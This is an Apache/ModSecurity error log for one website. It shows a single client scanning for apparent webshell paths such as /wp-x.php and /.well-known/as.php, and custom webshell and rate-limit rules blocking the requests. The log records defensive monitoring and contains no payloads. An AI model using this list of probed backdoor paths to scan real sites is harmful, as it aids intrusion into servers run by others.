[Tue Nov 25 05:14:47.432217 2025] [:error] [pid 14168:tid 14182] [client 4.233.92.206:4880] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/snus.php"] [unique_id "aSTKx_R-ZDU0QEgAIItt9AAAAMs"]
[Tue Nov 25 05:14:54.733129 2025] [:error] [pid 14078:tid 14147] [client 4.233.92.206:4869] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/snus.php"] [unique_id "aSTKztVXYbb0ii_rVoJItwAAAIo"]
[Tue Nov 25 05:14:58.374507 2025] [:error] [pid 14168:tid 14178] [client 4.233.92.206:4871] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/snus.php"] [unique_id "aSTK0vR-ZDU0QEgAIItuAAAAAMc"]
[Tue Nov 25 05:14:59.411515 2025] [:error] [pid 14078:tid 14150] [client 4.233.92.206:4872] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/011i.php"] [unique_id "aSTK09VXYbb0ii_rVoJIwwAAAI0"]
[Tue Nov 25 05:15:05.232537 2025] [:error] [pid 14168:tid 14187] [client 4.233.92.206:4370] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/011i.php"] [unique_id "aSTK2fR-ZDU0QEgAIItuCwAAANA"]
[Tue Nov 25 05:15:07.438001 2025] [:error] [pid 14688:tid 14710] [client 4.233.92.206:4882] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/011i.php"] [unique_id "aSTK229vYrBoEsiDnizf4QAAARQ"]
[Tue Nov 25 05:15:09.512116 2025] [:error] [pid 14168:tid 14171] [client 4.233.92.206:4390] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/011i.php"] [unique_id "aSTK3fR-ZDU0QEgAIItuEgAAAMA"]
[Tue Nov 25 05:15:11.263635 2025] [:error] [pid 14168:tid 14183] [client 4.233.92.206:5082] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/disaos.php"] [unique_id "aSTK3_R-ZDU0QEgAIItuFAAAAMw"]
[Tue Nov 25 05:15:13.296381 2025] [:error] [pid 14168:tid 14185] [client 4.233.92.206:4369] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/disaos.php"] [unique_id "aSTK4fR-ZDU0QEgAIItuFwAAAM4"]
[Tue Nov 25 05:15:15.523025 2025] [:error] [pid 14168:tid 14176] [client 4.233.92.206:4881] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/disaos.php"] [unique_id "aSTK4_R-ZDU0QEgAIItuHgAAAMU"]
[Tue Nov 25 05:15:19.698934 2025] [:error] [pid 14077:tid 14114] [client 4.233.92.206:4873] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/disaos.php"] [unique_id "aSTK5xG9n7UHEkwDTyhOhgAAAEQ"]
[Tue Nov 25 05:15:42.412707 2025] [proxy_fcgi:error] [pid 14076:tid 14081] [client 4.233.92.206:4367] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:15:42.670401 2025] [proxy_fcgi:error] [pid 14076:tid 14084] [client 4.233.92.206:4367] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:15:42.915342 2025] [proxy_fcgi:error] [pid 14076:tid 14099] [client 4.233.92.206:4367] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:15:43.542666 2025] [proxy_fcgi:error] [pid 14076:tid 14102] [client 4.233.92.206:4367] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:15:43.793055 2025] [proxy_fcgi:error] [pid 14076:tid 14104] [client 4.233.92.206:4367] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:15:44.103146 2025] [proxy_fcgi:error] [pid 14076:tid 14097] [client 4.233.92.206:4367] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:15:44.356097 2025] [proxy_fcgi:error] [pid 14076:tid 14105] [client 4.233.92.206:4367] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:15:44.598111 2025] [proxy_fcgi:error] [pid 14076:tid 14095] [client 4.233.92.206:4367] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:15:44.837867 2025] [proxy_fcgi:error] [pid 14076:tid 14090] [client 4.233.92.206:4367] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:15:45.214450 2025] [proxy_fcgi:error] [pid 14076:tid 14085] [client 4.233.92.206:4367] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:15:45.467245 2025] [proxy_fcgi:error] [pid 14076:tid 14100] [client 4.233.92.206:4367] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:15:45.765400 2025] [:error] [pid 14076:tid 14082] [client 4.233.92.206:4367] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/naxc.php"] [unique_id "aSTLAXsB4Gz6Qw-pvBsJ-QAAAAE"]
[Tue Nov 25 05:15:47.354750 2025] [:error] [pid 14077:tid 14133] [client 4.233.92.206:4865] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/naxc.php"] [unique_id "aSTLAxG9n7UHEkwDTyhOqwAAAFc"]
[Tue Nov 25 05:15:55.605445 2025] [:error] [pid 14688:tid 14703] [client 4.233.92.206:4385] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/naxc.php"] [unique_id "aSTLC29vYrBoEsiDnizgUQAAAQ0"]
[Tue Nov 25 05:15:58.369617 2025] [:error] [pid 14688:tid 14700] [client 4.233.92.206:4886] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/naxc.php"] [unique_id "aSTLDm9vYrBoEsiDnizgVQAAAQo"]
[Tue Nov 25 05:16:00.280413 2025] [:error] [pid 14076:tid 14104] [client 4.233.92.206:4365] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aSTLEHsB4Gz6Qw-pvBsKAAAAABc"]
[Tue Nov 25 05:16:02.195736 2025] [:error] [pid 14076:tid 14105] [client 4.233.92.206:4358] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aSTLEnsB4Gz6Qw-pvBsKBAAAABg"]
[Tue Nov 25 05:16:05.308236 2025] [:error] [pid 14168:tid 14183] [client 4.233.92.206:5074] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aSTLFfR-ZDU0QEgAIItucAAAAMw"]
[Tue Nov 25 05:16:09.806776 2025] [:error] [pid 14688:tid 14704] [client 4.233.92.206:4890] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aSTLGW9vYrBoEsiDnizgbgAAAQ4"]
[Tue Nov 25 05:16:15.063896 2025] [:error] [pid 14168:tid 14190] [client 4.233.92.206:4411] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/size.php"] [unique_id "aSTLH_R-ZDU0QEgAIItuhwAAANM"]
[Tue Nov 25 05:16:20.150346 2025] [:error] [pid 14168:tid 14194] [client 4.233.92.206:4899] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/size.php"] [unique_id "aSTLJPR-ZDU0QEgAIItulgAAANc"]
[Tue Nov 25 05:16:35.815058 2025] [:error] [pid 14077:tid 14126] [client 4.233.92.206:4374] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rsjlrria.php"] [unique_id "aSTLMxG9n7UHEkwDTyhO4AAAAFA"]
[Tue Nov 25 05:16:40.361462 2025] [:error] [pid 14078:tid 14138] [client 4.233.92.206:4867] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rsjlrria.php"] [unique_id "aSTLONVXYbb0ii_rVoJJyQAAAIE"]
[Tue Nov 25 05:16:44.031249 2025] [:error] [pid 14078:tid 14144] [client 4.233.92.206:4864] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rsjlrria.php"] [unique_id "aSTLPNVXYbb0ii_rVoJJzwAAAIc"]
[Tue Nov 25 05:16:47.526122 2025] [proxy_fcgi:error] [pid 14078:tid 14150] [client 4.233.92.206:4875] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:16:47.790884 2025] [:error] [pid 14078:tid 14152] [client 4.233.92.206:4875] [client 4.233.92.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aSTLP9VXYbb0ii_rVoJJ1gAAAI8"]
[Tue Nov 25 05:16:51.420589 2025] [proxy_fcgi:error] [pid 14077:tid 14113] [client 4.233.92.206:4364] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:16:51.907116 2025] [proxy_fcgi:error] [pid 14077:tid 14127] [client 4.233.92.206:4364] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:16:52.432004 2025] [proxy_fcgi:error] [pid 14077:tid 14120] [client 4.233.92.206:4364] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:16:52.769412 2025] [proxy_fcgi:error] [pid 14077:tid 14133] [client 4.233.92.206:4364] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:16:53.024169 2025] [proxy_fcgi:error] [pid 14077:tid 14132] [client 4.233.92.206:4364] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:16:54.463925 2025] [proxy_fcgi:error] [pid 14077:tid 14134] [client 4.233.92.206:4364] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:16:54.807849 2025] [proxy_fcgi:error] [pid 14077:tid 14115] [client 4.233.92.206:4364] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:16:55.068054 2025] [proxy_fcgi:error] [pid 14077:tid 14111] [client 4.233.92.206:4364] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:16:55.311695 2025] [:error] [pid 14077:tid 14118] [client 4.233.92.206:4364] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/as.php"] [unique_id "aSTLRxG9n7UHEkwDTyhPAQAAAEg"]
[Tue Nov 25 05:16:56.568536 2025] [:error] [pid 14078:tid 14152] [client 4.233.92.206:4883] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/as.php"] [unique_id "aSTLSNVXYbb0ii_rVoJJ4gAAAI8"]
[Tue Nov 25 05:17:01.310031 2025] [:error] [pid 14076:tid 14082] [client 4.233.92.206:4878] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/as.php"] [unique_id "aSTLTXsB4Gz6Qw-pvBsKOAAAAAE"]
[Tue Nov 25 05:17:03.136700 2025] [:error] [pid 14078:tid 14139] [client 4.233.92.206:4361] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/as.php"] [unique_id "aSTLT9VXYbb0ii_rVoJJ6AAAAII"]
[Tue Nov 25 05:17:04.967188 2025] [:error] [pid 14078:tid 14141] [client 4.233.92.206:5067] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/product.php"] [unique_id "aSTLUNVXYbb0ii_rVoJJ6gAAAIQ"]
[Tue Nov 25 05:17:06.875813 2025] [:error] [pid 14078:tid 14160] [client 4.233.92.206:4360] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/product.php"] [unique_id "aSTLUtVXYbb0ii_rVoJJ7wAAAJc"]
[Tue Nov 25 05:17:08.035495 2025] [:error] [pid 14076:tid 14105] [client 4.233.92.206:4921] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/product.php"] [unique_id "aSTLVHsB4Gz6Qw-pvBsKPAAAABg"]
[Tue Nov 25 05:17:09.029398 2025] [:error] [pid 14076:tid 14091] [client 4.233.92.206:4876] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/product.php"] [unique_id "aSTLVXsB4Gz6Qw-pvBsKPQAAAAo"]
[Tue Nov 25 05:17:10.112898 2025] [:error] [pid 14688:tid 14700] [client 4.233.92.206:4410] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/e56.php"] [unique_id "aSTLVm9vYrBoEsiDnizgpwAAAQo"]
[Tue Nov 25 05:17:11.654591 2025] [:error] [pid 14077:tid 14111] [client 4.233.92.206:4413] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/e56.php"] [unique_id "aSTLVxG9n7UHEkwDTyhPDAAAAEE"]
[Tue Nov 25 05:17:13.756117 2025] [:error] [pid 14078:tid 14147] [client 4.233.92.206:4386] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/e56.php"] [unique_id "aSTLWdVXYbb0ii_rVoJJ9AAAAIo"]
[Tue Nov 25 05:17:15.489093 2025] [:error] [pid 14077:tid 14113] [client 4.233.92.206:4396] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/e56.php"] [unique_id "aSTLWxG9n7UHEkwDTyhPDwAAAEM"]
[Tue Nov 25 05:17:17.410610 2025] [:error] [pid 14076:tid 14100] [client 4.233.92.206:4870] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-x.php"] [unique_id "aSTLXXsB4Gz6Qw-pvBsKQwAAABM"]
[Tue Nov 25 05:17:18.818427 2025] [:error] [pid 14078:tid 14145] [client 4.233.92.206:4354] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-x.php"] [unique_id "aSTLXtVXYbb0ii_rVoJJ-AAAAIg"]
[Tue Nov 25 05:17:22.313036 2025] [:error] [pid 14077:tid 14111] [client 4.233.92.206:4359] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-x.php"] [unique_id "aSTLYhG9n7UHEkwDTyhPGQAAAEE"]
[Tue Nov 25 05:17:24.472973 2025] [:error] [pid 14077:tid 14123] [client 4.233.92.206:4414] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-x.php"] [unique_id "aSTLZBG9n7UHEkwDTyhPGwAAAE0"]
[Tue Nov 25 05:17:25.411482 2025] [:error] [pid 14077:tid 14117] [client 4.233.92.206:4916] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aSTLZRG9n7UHEkwDTyhPHQAAAEc"]
[Tue Nov 25 05:17:27.113041 2025] [:error] [pid 14077:tid 14122] [client 4.233.92.206:4401] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aSTLZxG9n7UHEkwDTyhPIAAAAEw"]
[Tue Nov 25 05:17:32.316762 2025] [:error] [pid 14168:tid 14188] [client 4.233.92.206:4415] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aSTLbPR-ZDU0QEgAIItvGgAAANE"]
[Tue Nov 25 05:17:35.045095 2025] [:error] [pid 14078:tid 14156] [client 4.233.92.206:4406] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aSTLb9VXYbb0ii_rVoJJ_wAAAJM"]
[Tue Nov 25 05:17:38.447318 2025] [:error] [pid 14688:tid 14714] [client 4.233.92.206:4377] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "aSTLcm9vYrBoEsiDnizg0gAAARg"]
[Tue Nov 25 05:17:40.535755 2025] [:error] [pid 14688:tid 14693] [client 4.233.92.206:4910] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "aSTLdG9vYrBoEsiDnizg2AAAAQM"]
[Tue Nov 25 05:17:42.221598 2025] [:error] [pid 14168:tid 14187] [client 4.233.92.206:4393] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "aSTLdvR-ZDU0QEgAIItvHwAAANA"]
[Tue Nov 25 05:17:47.635102 2025] [:error] [pid 14076:tid 14100] [client 4.233.92.206:4902] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "aSTLe3sB4Gz6Qw-pvBsKagAAABM"]
[Tue Nov 25 05:17:56.193218 2025] [proxy_fcgi:error] [pid 14168:tid 14177] [client 4.233.92.206:4917] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:17:56.457858 2025] [proxy_fcgi:error] [pid 14168:tid 14181] [client 4.233.92.206:4917] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:17:57.097603 2025] [proxy_fcgi:error] [pid 14168:tid 14182] [client 4.233.92.206:4917] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:17:57.598264 2025] [proxy_fcgi:error] [pid 14168:tid 14172] [client 4.233.92.206:4917] AH01071: Got error 'Primary script unknown'
